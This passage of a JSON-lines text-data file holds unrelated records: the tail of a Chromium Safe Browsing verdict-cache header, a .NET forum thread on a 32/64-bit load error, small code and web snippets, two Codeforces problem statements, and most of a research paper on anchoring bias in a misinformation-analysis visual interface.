FRIEND_TEST_ALL_PREFIXES(\n      VerdictCacheManagerTest,\n      TestRemoveRealTimeUrlCheckCachedVerdictOnURLsDeleted);\n\n  // Removes all the expired verdicts from cache.\n  void CleanUpExpiredVerdicts();\n  void CleanUpExpiredPhishGuardVerdicts();\n  void CleanUpExpiredRealTimeUrlCheckVerdicts();\n\n  // Helper method to remove content settings when URLs are deleted. If\n  // |all_history| is true, removes all cached verdicts. Otherwise it removes\n  // all verdicts associated with the deleted URLs in |deleted_rows|.\n  void RemoveContentSettingsOnURLsDeleted(bool all_history,\n                                          const history::URLRows& deleted_rows);\n  bool RemoveExpiredPhishGuardVerdicts(\n      LoginReputationClientRequest::TriggerType trigger_type,\n      base::DictionaryValue* cache_dictionary);\n  bool RemoveExpiredRealTimeUrlCheckVerdicts(\n      base::DictionaryValue* cache_dictionary);\n\n  size_t GetPhishGuardVerdictCountForURL(\n      const GURL& url,\n      LoginReputationClientRequest::TriggerType trigger_type);\n  // This method is only used for testing.\n  size_t GetRealTimeUrlCheckVerdictCountForURL(const GURL& url);\n\n  // This method is only used for testing and logging metrics.\n  int stored_verdict_count_real_time_url_check() {\n    return stored_verdict_count_real_time_url_check_;\n  }\n\n  // Number of verdict stored for this profile for password on focus pings.\n  base::Optional stored_verdict_count_password_on_focus_;\n\n  // Number of verdict stored for this profile for protected password entry\n  // pings.\n  base::Optional stored_verdict_count_password_entry_;\n\n  // Number of verdict stored for this profile for real time url check pings.\n  // This is only used for testing and logging metrics.\n  int stored_verdict_count_real_time_url_check_ = 0;\n\n  ScopedObserver\n      history_service_observer_{this};\n\n  // Content settings maps associated with this instance.\n  scoped_refptr content_settings_;\n\n  base::WeakPtrFactory weak_factory_{this};\n};\n\n}  // namespace safe_browsing\n\n#endif  // COMPONENTS_SAFE_BROWSING_CORE_VERDICT_CACHE_MANAGER_H_", "source": "cpt_stack_code", "language": "code", "token_count": 1641, "token_count_with_eod": 1642, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Last post Nov 18, 2016 07:36 AM by Chris Zhao\nNov 16, 2016 10:22 PM|jamesjosephpt|LINK\nI have ran into an issue while using a VC++ project reference in my aspnetcore Webapplication solution(.net Framework).Let me explain the issue.\n1.Created a new aspnetcore webapplication.\n2.Added a VC++ project (CLR-->ClassLibrary)\n3.Added a C# Class Library project and aded VC++ project reference in the References of C#ClassLibrary.\n4.Call the method in C#Classlibrary in the Main Project which in turn return a value from VC++ ClassLibrary\nThe solution builds with out any error ,but at run time I Get the error-\"Additional information: Could not load file or assembly 'CppClassLibrary, Version=1.0.6164.19946, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made\nto load a program with an incorrect format.\"\nPS. I have set my build Platform as AnyCPU for the main Project and C#LibraryProject, and for VC++ Class library it is Win32 which are all by default.\nMy machine is Windows 7 64 bit.\nSomeone please let me know how this scenario can be worked out.I We cannot get rid of VC++ references as it would be high impact change in our application suite.\nA quick help is much appreciated.\nThanks In Advance,\nNov 18, 2016 07:36 AM|Chris Zhao|LINK\nYou're having a 32-bit / 64-bit conflict.\nOn a 64-bit Windows operating system:\nYou could ger more information about the Prefer 32-bit and Any CPU from the following documents:\nWhat is the purpose of the “Prefer 32-bit” setting in Visual Studio 2012 and how does it actually work?\nWhat AnyCPU Really Means As Of .NET 4.5 and Visual Studio 11", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 453, "token_count_with_eod": 454, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "#ifndef VEHICLE_H_\n#define VEHICLE_H_\n\n#include \n#include \"Machine.h\"\n\nclass Vehicle: public Machine\n{\npublic:\n    Vehicle();\n    Vehicle(int id);\n    ~Vehicle();\n\nprivate:\n    std::string name;\n    \n};\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 63, "token_count_with_eod": 64, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "ID ranges can show IDs in the billions when you run eSync after creating new content, menus, taxonomies, users, and so on.\neSync causes these large numbers to appear.\nWhile the IDs may look a bit alarming, these large numbers are normal for sites that use eSync.\nEach server that is in the eSync relationship gets its own set of IDs. The original server should contain low ID numbers, but any server with which it syncs will have IDs that start in the millions or billions.\nThe numbers are created to allow 2 databases to synchronize and to prevent duplicate ID numbers from being created, which would cause further errors and issues. You cannot alter or update these numbers.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 144, "token_count_with_eod": 145, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Well the day has finally come: Apple’s release of 10.4. There are tons of new feautures I am excited to check out but none more than the added .mac sync functionality. To be able to have all my mail rules available on all my computers…I have been waiting for this since .mac came out.\nFor a full list of all the new features: http://www.apple.com/macosx/newfeatures/over200.html.\nHappy Birthday D!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 101, "token_count_with_eod": 102, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "This is an interactive problem.\n\nIgor wants to find the key to Olha's heart. The problem is, that it's at the root of a binary tree.\n\nThere is a perfect binary tree of height $$$h$$$ consisting of $$$n = 2^{h} - 1$$$ nodes. The nodes have been assigned distinct labels from $$$1$$$ to $$$n$$$. However, Igor only knows $$$h$$$ and does not know which label corresponds to which node.\n\nTo find key to Olha's heart he needs to find the label assigned to the root by making queries of the following type at most $$$n+420$$$ times:\n\n- Select three distinct labels $$$u$$$, $$$v$$$ and $$$w$$$ ($$$1 \\leq u,v,w \\leq n$$$).\n- In response, Olha (the grader) will tell him the label of the lowest common ancestor of nodes labelled $$$u$$$ and $$$v$$$, if the tree was rooted at the node labelled $$$w$$$ instead.\n\nHelp Igor to find the root!\n\nNote: the grader is not adaptive: the labels are fixed before any queries are made.", "source": "cpt_codeforces", "language": "en", "token_count": 242, "token_count_with_eod": 243, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "- A New Look for Files.com\n- New Integrated Editor for Office Documents\n- Announcing Snapshot Share Links\n- Akamai Linode integration with Files.com\n- Cloudflare integration with Files.com\n- Files.com's Response to the Security Incident in Competing Software Product MOVEit\n- Removal of CBC cipher suites from the default list\n- Announcing Boomi Partner Connector\n- FIDO U2F SSH/SFTP Keys Now Supported For SFTP Authentication\n- Ensuring Accessibility: How Files.com Meets WCAG Standards\nZapier is an \"integration tool\" that allows you to link hundreds of apps without having to write any code.\nWant Twitter to IM you when a new file is added to your BrickFTP account?\nWant Basecamp to add a new todo list whenever a folder is created inside of another folder?\nWhat about Hipchat notifications for new users or groups?\nZapier integrates with Salesforce, Google Docs, Dropbox, Twilio, Mailchimp, Evernote, Asana, Wufoo, Wordpress, Slack, Github, Infusionsoft, Basecamp, Highrise, Xero, and literally hundreds of other popular SaaS services.\nNow you can integrate anything with BrickFTP via drag-and-drop.\nGet Instant Access to Files.com\nThe button below will take you to our Free Trial signup page. Click on the white \"Start My Free Trial\" button, then fill out the short form on the next page. Your account will be activated instantly. You can dive in and start yourself or let us help. The choice is yours.Start My Free Trial", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Few-shot Task-agnostic Neural Architecture Search for Distilling Large Language Models\nDongkuan (DK) Xu · Subhabrata Mukherjee · Xiaodong Liu · Debadeepta Dey · Wenhui Wang · Xiang Zhang · Ahmed Awadallah · Jianfeng Gao\nHall J (level 1) #231\nTraditional knowledge distillation (KD) methods manually design student architectures to compress large models given pre-specified computational cost. This requires several trials to find viable students, and repeating the process with change in computational budget. We use Neural Architecture Search (NAS) to automatically distill several compressed students with variable cost from a large model. Existing NAS methods train a single SuperLM consisting of millions of subnetworks with weight-sharing, resulting in interference between subnetworks of different sizes. Additionally, many of these works are task-specific requiring task labels for SuperLM training. Our framework AutoDistil addresses above challenges with the following steps: (a) Incorporates inductive bias and heuristics to partition Transformer search space into K compact sub-spaces (e.g., K=3 can generate typical student sizes of base, small and tiny); (b) Trains one SuperLM for each sub-space using task-agnostic objective (e.g., self-attention distillation) with weight-sharing of students; (c) Lightweight search for the optimal student without re-training. Task-agnostic training and search allow students to be reused for fine-tuning on any downstream task. Experiments on GLUE benchmark demonstrate AutoDistil to outperform state-of-the-art KD and NAS methods with upto 3x reduction in computational cost and negligible loss in task performance. Code and model checkpoints are available at https://github.com/microsoft/autodistil.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 364, "token_count_with_eod": 365, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "A string $$$s$$$ of length $$$n$$$, consisting of lowercase letters of the English alphabet, is given.\n\nYou must choose some number $$$k$$$ between $$$0$$$ and $$$n$$$. Then, you select $$$k$$$ characters of $$$s$$$ and permute them however you want. In this process, the positions of the other $$$n-k$$$ characters remain unchanged. You have to perform this operation exactly once.\n\nFor example, if $$$s=\\texttt{\"andrea\"}$$$, you can choose the $$$k=4$$$ characters $$$\\texttt{\"a_d_ea\"}$$$ and permute them into $$$\\texttt{\"d_e_aa\"}$$$ so that after the operation the string becomes $$$\\texttt{\"dneraa\"}$$$.\n\nDetermine the minimum $$$k$$$ so that it is possible to sort $$$s$$$ alphabetically (that is, after the operation its characters appear in alphabetical order).", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Anchored in a Data Storm: How Anchoring Bias Can Affect User Strategy, Confidence, and Decisions in Visual Analytics\nCognitive biases have been shown to lead to faulty decision-making. Recent research has demonstrated that the effect of cognitive biases, anchoring bias in particular, transfers to information visualization and visual analytics. However, it is still unclear how users of visual interfaces can be anchored and the impact of anchoring on user performance and decision-making process. To investigate, we performed two rounds of between-subjects, in-laboratory experiments with 94 participants to analyze the effect of visual anchors and strategy cues in decision-making with a visual analytic system that employs coordinated multiple view design. The decision-making task is identifying misinformation from Twitter news accounts. Participants were randomly assigned one of three treatment groups (including control) in which participant training processes were modified. Our findings reveal that strategy cues and visual anchors (scenario videos) can significantly affect user activity, speed, confidence, and, under certain circumstances, accuracy. We discuss the implications of our experiment results on training users how to use a newly developed visual interface. We call for more careful consideration into how visualization designers and researchers train users to avoid unintentionally anchoring users and thus affecting the end result.\nAn emerging topic within the Visual Analytics (VA) community focuses on understanding the impact of cognitive biases on the analysis process aided by visual analytic systems. VA combines automated analysis techniques with interactive visualizations to facilitate human decision-making processes on large and complex data. One of the many factors that contribute to an effective VA system is the support of exploratory visual analysis [21, 16]. Many VA systems designed to support exploration often employ coordinated multiple views (CMV) to present various aspects of the underlying data and analysis results. These VA systems offer the flexibility of devising different strategies to solve problems the systems are designed to address. The strategies can materialize in how the users interact with VA systems, including relying on all or a subset of the coordinated views, as well as the perceived importance of different views. As a result, during exploratory visual analysis, users are faced with a potentially overwhelming array of choices while being constrained by limited cognitive resources and uncertainty. For instance, users need to decide on the view to start their analysis, where to go next within the visual interface, how to interpret and synthesize patterns seen from multiple views, as well as the combination of views to rely on for their decisions. Such exploratory visual analysis processes are prone to cognitive biases .\nCognitive biases are rules of thumbs or heuristics that aid in decision-making tasks and allow users to reach decisions with relative speed . Cognitive biases have been shown to affect decision-making processes in predictably faulty ways that can result in sub-optimal solutions when information is discounted, misinterpreted, or ignored . One cognitive bias particularly relevant to exploratory visual analysis with VA systems is anchoring bias. It refers to the human tendency to rely too heavily on one and most likely the first piece of information offered (the âanchorâ) when making decisions . Numerous studies from the fields of psychology and behavioral economics have analyzed the effect of numerical anchors, showing difficulties for participants to adjust away from the initial numerical value (anchor) provided . In prior work, we demonstrated that the anchoring effect transfers to VA; specifically we described “visual anchoring”, which refers to the over reliance on a single or subset of views during exploratory visual analysis with VA systems that employ CMV design . As one of the first studies on the effect of anchoring bias in VA, our prior work is situated in an open-ended task (identifying protest-related events from social media data). Therefore, we analyzed the impact of visual anchors on the analysis paths but not on user performance (due to the absence of ground truth events). Moreover, no comparisons were made between visually anchored groups against a control group (no visual anchor given).\nThe experiments presented in this paper are designed to analyze the impact of visual anchors on a variety of quantitative metrics including accuracy, time, user interactions, data coverage, as well as ways that users can be visually anchored. To situate our study in a real-world reasoning task, we chose the application of misinformation investigation of social media news accounts. Recently, the topic of combating misinformation has received much attention in many fields including data mining, journalism, and computational social science [18, 23, 30]. While a variety of computational techniques have been explored, some scholars have also called for the need to study misinformation in randomized, controlled laboratory experiments . In our study, we use a visual analytics tool designed for investigating misinformation. We design multiple treatments/conditions in order to analyze the effect of visual anchors while participants performing the task of evaluating the veracity of news accounts on Twitter.\nOur work makes the following salient contributions:\nThe design of experiments situated in a task of making decisions about the veracity of news media accounts on Twitter using a visual interface designed for investigating misinformation, as two rounds of between-subjects in-laboratory experiments () to test the effect of visual anchoring in decision-making.\nCareful integration of psychology literature on ways a user can be anchored in exploratory visual analysis to reveal the effect of anchoring with strategies or cues.\nQuantitative analysis performed on a range of factors that effect anchoring bias in VA to reveal findings on how visual anchors impact user performance and data coverage as well as user confidence on their decisions.\nUnderstanding the effect of various cognitive biases in visual analysis and how the biases are reflected in the analysis process with a VA system serve as an important first step to raising awareness and ultimately mitigating cognitive biases in visual analysis. At the end of the paper, we connect findings from our experiments to practices of interacting with participants on a newly designed visual analytic system. The findings of our user study shed more light on how and when anchoring bias could occur when using visual analytic interfaces and call for more careful consideration when introducing a visual interface to end-users or designing tutorials of a visual analytic system.\n1 Related Work\nWe summarize the current research effort on cognitive biases in visualization into two categories: holistic approaches aiming at framework and metrics for studying cognitive biases in visualization research, and empirical studies of how a certain type of cognitive bias manifests and impacts the analysis process facilitated by visual analytic systems. We also review literature that motivated our experiment design and research questions.\n1.1 Cognitive Bias and Anchoring in VA\nCognitive Bias are systematic patterns in judgments that deviate from rationality due to a variety of factors (e.g., unfamiliarity, too much information, quick decision-making). Psychologists and social scientists have followed the seminal work of Tversky and Kahneman  to investigate a variety of cognitive biases in a variety of applications . Recently, visual analytics community has started to explore the role cognitive biases play in decision-making processes [32, 36, 33]. In this paper, we follow our previous empirical study  to further investigate the role of anchoring bias within a CMV system.\nOur precedent for providing visual anchors and strategy cues in the experiment design is rooted in the fundamental literature from psychology [26, 1, 38, 19, 29, 9, 6]. To illustrate, research has demonstrated that users preferred to devote attention to stimuli that matched a given hypothesis or template, even in the presence of alternate, more optimal strategies . The work of  designed experiments in which participants were given explicit and implicit spatio-temporal cues in a visual event coding task and found systematic effects of the explicit and implicit cues on users’ attention within the visual analytic system and how these cues affected processing of information.\n1.2 Reviews on Practices of Evaluating Visualization\nThe findings from our experiments are relevant to a critical step, providing training and tutorial, during visualization evaluation with human subject. Therefore, we briefly summarize existing work on the theories and practices of visualization evaluation and highlight which step in evaluating visualization that our findings can inform. Visualization evaluation has always been an integral part of research in the VIS community [17, 12, 25]. By surveying 850 papers from the InfoVis and VAST venues, Lam et al. identified seven evaluation scenarios in order to guide practitioners to design effective user studies . Two out of the seven scenarios specific to understanding visualizations involve directly interacting with participants. The two scenarios, namely evaluating user performance and evaluating user experience, are among the most frequently used evaluation techniques. Although the scenarios provide great guidance on the selection of appropriate questions and goals for user evaluation, there are several challenges when carrying out the evaluation. Such challenges include short duration of many study periods , insufficient number of study measures , and possibly inadequate training of participants .\nAnother recent survey of visualization evaluation practices from the Vis Community echoed these challenges and highlighted that many publications need to observe more evaluation reporting rigor by providing important methodological details . Based on the findings from our experiments, we argue that reporting how the participants were trained (by experimenters, with or without a script, training videos, example strategies to complete the task, etc.) should be consistently reported. Our results show that the training can have a significant impact on how participants use of the interface, as well as their performance and their perceived confidence on completing the task(s).\nIn this section, we first review our visual analytics system, Verifi, and then outline of research questions.\n2.1 The Verifi System\nFor our study, we use Verifi  (Fig. 1), an interactive, coordinated-multiple views system for identifying Twitter news accounts suspected of spreading misinformation. Verifi includes four main views: Social Network, Accounts, Tweet Panel, and Entities. Each view provides users with different factors that have shown to be important in detecting misinformation . The Social Network and the Accounts views are the two primary views that serve as the two visual anchors. The Entity View and Tweet Panel are secondary views.\nThe data includes 82 Twitter news accounts anonymized by name but annotated with color labels indicating whether they are source of misinformation (red), real news outlets (green), or require the users’ decision (grey). The annotations are based on multiple third-party sources 111Suspicious accounts are based on four websites as provided in . 31 real news accounts are provided through the following links: https://tinyurl.com/yctvve9h and https://tinyurl.com/k3z9w2b. Each user’s task is to make a decision on the veracity (real or suspected of spreading misinformation) for eight grey accounts within a one-hour session. Building on our prior study, these eight grey accounts have been qualitatively selected to provide a range of difficulties as well as consistent and inconsistent information to challenge users in their decision-making processes . Table 2 provides the anonymized names of the eight gray accounts (four real and four suspicious according to third party sources) along with a brief description.\n2.2 Overhauled Experiment Design\nIn our past study , we investigated anchoring bias within a visual analytic system (CrystalBall ) that employs CMV design for event detection in Twitter. In this paper, we have revamped the experiment design in three ways. (1) We collect direct input on users’ decision-making process, we included a form submission view (Figure 2) to explicitly capture the precise moment when users make a decision about misinformation, and allow users to directly rate the helpfulness of the strategy cues to each decision within the system. (2) We provide explicit strategy cues (in the form of written cues and reinforced in the training videos) as a second treatment condition for each primary view in Verifi . In this way, we can control for the role as well as measure users’ evaluation of that strategy for each decision. (3) We quantitatively evaluate the impact of visual anchors and strategy cues on users’ performance, we designed the experimental task in a way that the users’ answers can be measured against ground truth. The task in our past study with CrystalBall was exploratory in nature, thus we couldn’t measure users’ accuracy.\n2.3 Research Questions\nWe seek to investigate how users may be anchored on different views in a CMV system and how they might be anchored on specific interaction strategies based upon the training given to them. Further, how does anchoring affect user performance, confidence and data coverage? Accordingly, our two main research questions (RQs) are:\nRQ1: What is the effect of visual anchors and strategy cues on participant performance (i.e., correctness, speed, and confidence) and ratings (e.g., view importance and strategy usage)?\nRQ2: Can users’ analysis process (e.g., interaction logs) be linked to participant performance outcomes to infer user strategies?\nTo analyze RQ1, we use univariate statistical tests (e.g., one-way ANOVA, Kruskal-Wallis Rank Sum) as well as multivariate regression (e.g., linear, logistic) to consider the effect among additional independent variables (e.g., account or time). For RQ2, we use feature extraction to obtain time spent in each view and coverage metrics  to understand user strategies through their interaction logs. After isolating features that measure primary actions, we cluster users based on their usage patterns and validate against their responses to identify unique behaviors attributed to each group. Using visual analytics, we explore user-level interactions by these clusters to identify salient behaviors and strategies.\nTo analyze the effects of visual anchors and strategy cues in decision-making, we performed two rounds of between-subjects, in-laboratory experiments. Each user’s task is to make a decision on the veracity (real or suspicious) of the eight grey accounts (see Figure 2). Users could make their decisions at any time by entering the Form Submit view (Figure 2) in the Progress Bar view for each account. To control for learning effects, we randomized the order the accounts were presented in the Progress Bar per unique user ID.\nFollowing established psychology experiment design, we explicitly devised strategy cues to present to users as part of our experiment condition. Each strategy cue aligns to one of two primary views in the Verifi VA system: Accounts view (L) and Social Network view (S). The Accounts view presents information about how each Twitter news account score on the language features, such as fairness, loyalty, anger, and fear. While the Social Network shows account connections through retweets and mentions. The cues were given as a piece of paper to users. The text of the cues are:\nCue 1L: “On the language measures, real news accounts tend to show a higher ranking in loyalty, fairness, and non-neutral.”\nCue 2L: “On the language measures, real news accounts tend to show a lower ranking in anger, fear and negativity.”\nCue 1S: “In the social network graph, real news accounts are less likely to mention and retweet content from suspicious accounts (fewer outgoing arrows to red nodes).”\nCue 2S: “In the social network graph, real news accounts tend to receive more mentions and retweets (more incoming arrows to their nodes).”\n3.1 Descriptive Statistics\nIn Round 1, we examine whether the starting point in the strategy provided to users would anchor them on a particular view, since certain psychological studies suggest that users are usually anchored on the first piece of information . Thus, Round 1 explores the role of dual strategies (social network or language features), reversing the order in which participants in a given treatment group are presented with the visual anchors and strategy cues. The control group participants in this round are given neither a visual anchor nor strategy cues. Round 1 took place in December, 2017. The findings from Round 1 justifies a follow-up study to tease out the effect of visual anchoring not only by the starting point in the training strategy, as well as the individual effect of visual anchors and strategy cues. In Round 2, we provided more focused treatments (i.e., only one set of view-based strategy cues and related visual anchor) along with a variant control group (i.e., all four cues, but no visual anchor). Round 2 took place in February, 2018. Combined, both studies enable a full investigation of two treatment mechanisms. Table 1 provides the treatment groups per round.\nThe entire user session lasted around one hour and included pre- and post-questionnaires. The actual task with the visual interface was capped at 45 minutes and averaged slightly less than 30 minutes (M = 27.1 minutes, SD = 7.524, 25% percentile = 20.98, 75% percentile = 31.88). Each session is identified through user’s participant ID and interactions like clicks, hovers, and scrolls were tracked and saved in our database. Computer specifications (browser, output/zoom) were controlled for to avoid them as confounding factors.\nOur study included 94 participants divided into two rounds, each with 47 participants.222In the first round, we excluded an additional 15 users (S1 - S15) but Verifi’s mechanism to record responses failed during their user session. Hence, we could not record their decisions. Users could participate in only one round, not both. The gender distribution was 68% male and 32% female. Users’ ages were between 21 and 56 (M = 28.67). A majority of users were pursuing their Master’s (88%), followed by Undergraduate (5%), Other (5%), and Ph.D. (1%). Students were recruited through extra credit incentives offered in one of six courses. The courses included Visual Analytics (n = 40), Natural Language Processing (n = 25), Advanced Business Analytics (n = 14), Human Behavior Modeling (n = 6), Applied Machine Learning (n = 6), and Social Media Communications (n = 3).\n3.2 Round 1: Dual Anchors and Cues\n3.2.1 Experiment Setup\nIn Round 1, we recruited 47 participants who were randomly assigned one of three treatment groups. As shown in Table 1, the two treatment groups were provided all four strategy cues (introduced in Section 3) while the control group received no cues. The treatment groups differed by their visual anchor; the order of each view depended on the group. For example, the Social Network (SN) group’s scenario video starts the investigation in the Social Network View and arrives at a conclusion of an example account being real or suspicious, this finding is then reinforced by investigation in the Language Features (LF) view. Similarly, the LF group’s scenario video starts the investigation in the Language Features view. The two treatment group received the same information, only the order (LF or SN) was swapped.\n3.2.2 Experiment Results - RQ1\nUnivariate analysis. In Round 1, we find evidence that visual anchors and strategy cues had an effect on users’ confidence and, weakly, overall time spent during analysis. Table 4 provides the respective univariate statistical tests for the treatment effects on each outcome per round. We find that confidence is significantly different among treatments in Round 1, driven by the much lower confidence in the Control group. Alternatively, we find that Time Spent is weakly significant, again driven by a much longer average session of the Control group (M = 31.7 minutes) than the two treatments (see Figure 3).\nTable 5 provides Kruskal-Wallis Rank Sum tests for users’ View Importance ratings per round. The view importance were reported by users for each decision. In Round 1, we find a significant difference in user view importance rating for Tweet Panel and Entities views. As indicated in Table 3, we find the largest difference between the Control group. This result is interesting as it demonstrates that, without intervening on this group with a visual anchor, users value the two supplemental views more than users who may be “anchored” to focus only on the two primary and more ”visual” views. In Round 1, we find the treatment groups do have a significant effect on the value users rate the Account view, suggesting that such a visual anchor drove users to leverage more of that view for their decisions. However, we do not find a similar effect of the SN view as all three groups (including Control) ranked that view nearly identically throughout the sessions.\n|Test||Outcome||Round 1||Round 2|\n|View Importance||Round 1||Round 2|\nMultivariate analysis. One weakness of univariate statistical tests is that it ignores relationship among multiple other variables that may also affect accuracy or confidence. To assess such effects, we consider multivariate regression to explain both accuracy and confidence.333We did not investigate total session time due to the problem of allocating time to each actions for each decision. Therefore, we only investigate accuracy and confidence as dependent variables within a regression framework. As mentioned earlier, we did not find that the treatments had an effect on accuracy in Round 1. However, similar to our previous study on confirmation bias , we find that a more important factor in explaining accuracy is in the difficulty of each account. Table 6 provides user accuracy by each account. We find some accounts (e.g., @GothamPost and @ViralDataInc) are very easy for all users and have 90%+ accuracy. Alternatively, other more difficult accounts – like @NationalFist and @MOMENT – had a much lower user accuracy as these accounts had misleading cues or incomplete information (e.g., @NationalFist was not connected on the social network). This implies account-level variation that can be controlled for as a random effect, rather than a fixed effect. As users provided multiple responses, we assume that those responses may be related given they were generated by the same individual who may be better or worse at prediction. Similarly, we also treat each user as a random effect as well.\nTo consider both account and user-level as random effects, we use a generalized linear mixed effects modeling approach  for each of the two outcome values using the R package lme4. For each regression, we use a slight variant depending on the outcome variable format. For accuracy, a binary 1 (correct) or 0 (incorrect) variable, we use a logistic mixed effects model. Alternatively, confidence is a continuous variable between 0 (no confidence) to 1 (perfect confidence) and, hence, we use a linear mixed effects model.\nFor each model, we consider ten fixed effects including the four view importance and four strategy cue ratings. One key modification is that for the strategy cues we modified the raw values (1 = yes, 0 = no) dependent on whether the user’s cue rating was consistent with the account’s actual veracity. For example, cues 1L, 1S, and 2S were phrased so that “yes” responses point to real news accounts. Therefore, the modified values are 1 when the cue aligns to the cue’s direction, In addition, we include a time of decision variable to attempt to measure potential learning effects (i.e., decisions earlier in the session tend to be less correct or confident than decisions near the end). Table 7 provides the regression results for each dependent variable.\nIn Round 1, the treatment groups had a significant effect on user confidence but not accuracy. Regressions (1) and (4) provide the Round 1 results. After controlling for other variables, we find that users are much more likely to provide higher confidence in the two treatment groups (LF and SN) as compared to the control group. However, the same variables show no significance when predicting users’ accuracy. This suggests that either the cues or visual anchor may give users more trust in the system but do not materialize into actual decision-making gains for determining misinformation. We also find that the strategy cues were very important to users’ accuracy. All four cues were statistically significant (99%+ confidence) to explain accuracy. Moreover, coefficients can help rank which cues are more important. For example, the Fairness Cue (1L), when used consistent to the account of interest, had the most significant positive effect on correct responses. Alternatively, the More Mentions Cue (2S) was positively linked when used consistently but to a less extent than the other cues. Last, we find that users’ view importance ratings are positively linked to users’ confidence levels but not their accuracy. For instance, users with higher Social Network, Tweet Panel, or Account view importance provide higher overall confidence for their decision but such self-assessed ratings do not translate into better decision-making.\n3.2.3 Experiment Results - RQ2\nTo answer RQ2 regarding anchoring effect on the analysis process, we consider both univariate statistical tests to identify differences in interaction logs as well as clustering users based on primary and secondary actions and time differences to categorize them based on inferred behaviors and strategies.\nTime spent per view. In Round 1, we find certain differences between time spent on each view. To measure time spent per view, we calculated the difference in time between each sequential pair of actions. We then attributed that difference to the later action and, thus, the related view for that action. For example, if a user logged in at time zero, then their next action was a SN node click, we attributed the one second difference to the SN view. We then aggregated total time per view for each user.\nTo consider statistical differences in time spent, we used one-way ANOVA (with Tukey HSD adjustment) to compare how the treatments may have affected time spent. Table 8 provides the results of the statistics tests. In Round 1, we find significant differences in the amount of time spent per view in the Form Submit, Tweet Panel, and Entities views. Specifically, we find most differences are between the control group and the two treatment groups rather than differences between the treatments. For example, in the Tweets Panel view, post hoc comparisons between groups indicate significant difference between SN and Control groups () and between the LF and Control groups (). Moreover, we find similar, but weaker, significance between time spent in the Entities and Form Submit views. Post Hoc comparisons between the groups indicate significant difference on the Entities view between the LF and Control group ().\nTime to first decision. In addition to Time spent per view, we also consider the time until each users’ first form submit. The goal of this metric is to measure how long the user explored the interface before formally starting his or her decision-process. In Round 1, we found significant differences between time to submit their first form between the treatment groups (). Specifically, post hoc comparisons between the groups indicate significant difference between the Language Features and Control groups ().\nCoverage Metrics. In addition to time spent per view, we also created several coverage metrics  to explore usage of key functionality in the interface. Specifically, we consider six primary actions: progress bar click, LF sort (combined for red/green features), and SN hovers (for grey, green, and red accounts).444We removed hovers less than one second after a previous action to remove unintentional actions. These six actions can be categorized as four possible strategies:\nLanguage Features: For this strategy, we measure the time spent on the Accounts view as well as the Language Sort clicks for either the “green” (positively correlated with real accounts) or “red” (negative correlated with real accounts) features.\nSocial Network: For this strategy, we measure the time spent on this view as well as the three primary actions related to the social network: hovers on grey, red, and green accounts. To remove unnecessary noise, we removed all hovers committed less than one second to any previous action.\nOrganized: To measure this, we include Progress Bar clicks to track users who use this functionality to maintain their progress.\nExplorer: i.e., user who takes much longer before moving into decisioning via form submissions. To explore this behavior, we use the time until their first form submit as an additional feature.\nTable 9 provides the one-way ANOVA tests for each of these metrics. In Round 1, we find significant differences in the use of the social network hover, especially the red-green hovers. These hovers tend to indicate exploring by example – for example, learning how well connected other known red or green accounts. Using post hoc Tukey tests, we find that there is significance between LF and Control groups () for hovering over the red accounts and between LF and Control groups () for hovering over the green accounts. We also find strong significant difference in using the LF sort functionality for the green accounts and post hoc comparisons indicate strong significance between the SN and Control groups (). We also find weak significance on the LF sort functionality for the red accounts with post hoc comparison showing difference between the SN and Control groups ().\n3.3 Round 2: One Anchor and Partial Cues\n3.3.1 Experiment Setup\nRound 2 was motivated to identify the individual effects of each visual anchor and corresponding strategy cues. For example, Round 1 treatments received all four cues as well as two visual anchors – simply in reverse order. However, from Round 1 it is not clear what is the effect of either cue pairs or visual anchors given the groups received both treatments. To address this problem, we devised Round 2 to build off of Round 1’s design but provide partial cues and visual anchors. As in Round 1, all treatment and control groups still received the same general video to introduce all views and functionality. The difference in Round 2 treatment groups is that the SN group only received the SN cues (1S, 2S) and SN scenario video as the visual anchor. Alternatively, the LF group only received the two LF cues (1L, 2L) and the corresponding LF visual anchor. For the control group, we provided users all four cues (but no visual anchor) to differ from the Round 1 control group in which participants did not receive any cues.\n3.3.2 Experiment Results - RQ1\nUnivariate analysis. In Round 2, we find evidence that the treatments had an effect on confidence but not time spent or accuracy (see Table 4). Notably, we find again that the control group had a much lower average confidence than both of the treatments that provided only one set of cues and visual anchors. Nevertheless, we did find that the Round 2 Social Network group had a marked decline in accuracy as shown in Table 4. Regarding View Importance, in Round 2 we find a significant difference in user view importance for Entities view and a slight difference for the Social Network view.\nMultivariate analysis. To analyze user accuracy and confidence, we again employ mixed effects models on Round 2 (regressions (2) and (5)) and then combine both rounds (Table 7). For accuracy, we find a slight effect of SN treatment group in Round 2, as that group’s performance was the lowest out of any round-group treatment. Moreover, in Round 2, we observe a learning effect as the time of the users’ decision is positively related with higher accuracy. Like Round 1, we also find that consistent strategy cue use are strongly correlated with accuracy. This observation indicates that, holding all variables constant, users who performed much better when they correctly employed the strategy cues. Once again, the Fairness Cue (1L) is the most important as it has the largest coefficient value. Last, like Round 1, we find higher confidence levels tend to be positively related to more accurate decisions but with a higher level of statistical significance.\nAlternatively, in the explanation of users’ confidence in Round 2 (i.e., regression (5)), we find that the Language Features treatment group is positively associated with nearly an 11 point higher confidence level than the control group for Round 2. In addition, we find that users’ view importance ratings for Social Network, Tweet Panel, and Account views are positively related to confidence like Round 1.\nLast, to isolate specific treatment effects, we combined both rounds to create regressions (3) and (6). In these models, instead of using the treatment groups as a covariate, we combined them to create a six-level treatment variable with the reference is the Round 1 control group (no 